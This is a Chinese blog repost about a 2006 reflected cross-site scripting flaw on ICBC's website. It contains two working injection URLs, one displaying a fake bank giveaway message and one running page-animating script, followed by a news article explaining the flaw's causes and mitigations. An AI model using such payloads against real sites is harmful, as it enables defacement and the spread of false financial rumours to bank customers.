原文发表在 http://www.blogjava.net/emu/archive/2006/12/31/91171.html
这两天很流行玩这个：
http://www.icbc.com.cn/news/hotspot.jsp?column=%3Cfont%20size=10%3E%BD%F7%B4%CB%D4%AA%B5%A9%BC%D1%BD%DA%D6%AE%BC%CA%A3%AC%B9%A4%C9%CC%D2%F8%D0%D0%B8%F8%C3%BF%B8%F6%B4%A2%BB%A7%C3%E2%B7%D1%B7%A2%B7%C51000%CD%F2%C3%C0%BD%F0%3C/font%3E
会出来：
还有更好玩的：
http://www.icbc.com.cn/news/hotspot.jsp?column=%3Cscript%3ER%3D0%3B%20x1%3D.1%3B%20y1%3D.05%3B%20x2%3D.25%3B%20y2%3D.24%3B%20x3%3D1.6%3B%20y3%3D.24%3B%20x4%3D300%3B%20y4%3D200%3B%20x5%3D300%3B%20y5%3D200%3B%20DI%3Ddocument.body.getElementsByTagName%28%27table%27%29%3B%20DIL%3DDI.length%3B%20function%20A%28%29%7Bfor%28i%3DDIL-1%3Bi%3E-1%3Bi--%29%7BDIS%3DDI%5B%20i%20%5D.style%3B%20DIS.position%3D%27absolute%27%3B%20DIS.left%3DMath.sin%28R*x1-%28-%28i*x2-%28-%28x3%29%29%29%29%29*x4-%28-%28x5%29%29%3B%20DIS.top%3DMath.cos%28R*y1-i*y2-y3%29*y4-%28-%28y5%29%29%7DR--%7Dwindow.onload%20%3D%20function%20%28%29%20%7BsetInterval%28%27A%28%29%27%2C5%29%3Bdocument.title%3D%27FBI%27%7D%3C/script%3E
整个页面都可以出来动画效果
这还不够好玩？还有更更好玩的：
http://www.donews.com/Content/200612/92ac3138ade9406c81d72a057a995f5e.shtm
DoNews（北京）12月31日消息（记者 徐新事）近日网上盛传中国工商银行网站被黑客攻击，网友在IM和论坛里传播“ 中国工商银行宣布破产 ”、“ 中国工商银行转让80%给**网站 ”等伪造的信息。此类恶搞信息造成网友认知混乱，认为中国工商银行网上银行不可靠，发起对网络银行安全性质疑。记者就此事采访资深网络专家 龙如俊 先生。龙如俊认为这只是常见的跨站式Xss处理不当造成，谈不上攻击，对工行网银安全不存在威胁。
龙如俊介绍到，几种常见Web站点不安全的编程漏洞包括密码漏洞、跨站脚本漏洞、不安全的存储漏洞和拒绝服务漏洞。此次中国工商银行网站的漏洞就是跨站脚本漏洞，实际上就是脚本人员对跨站式Xss处理不当。网友利用该漏洞，编辑特殊代码后得到网上传播的链接，但是对正常的网银交易不会产生任何影响。
龙如俊称跨站式Xss处理不当是常见的Bug，就是微软、雅虎、亚马逊等公司都出现过此类问题，也都难以避免这种现象。如Yahoo! Mail中采取了积极的防预措施来预防XSS。特别是其邮件站点在适当的上下文中将"javascript”转换成了"_javascript”，以阻止代码的执行。他说：“这并非重大故障，更谈不上是攻击，对工行网银安全不会存在任何威胁。”
至于为何出现该跨站式Xss漏洞，龙如俊称主要有两个原因。首先，HTML没有明确区分代码和数据；其次，程序在将用户数据发送回浏览器时没有进行有效的转义，这导致包含有引号的数据被放入页面中。
“当前流行的Ajax技术对预防跨站式Xss漏洞方面有一定好处，”龙如俊说：“Ajax技术包含一个专用渠道XML链接，其中全是数据而没有代码。这样，就有可能让客户端AJAX引擎负责对字符串进行转义、检测不正确的值。”
但龙如俊表示直到AJAX更为成熟或更为标准化，否则只会导致错误的编程和安全漏洞，毕竟Ajax技术只是web2.0中涌出新型技术还不够成熟。（完）
|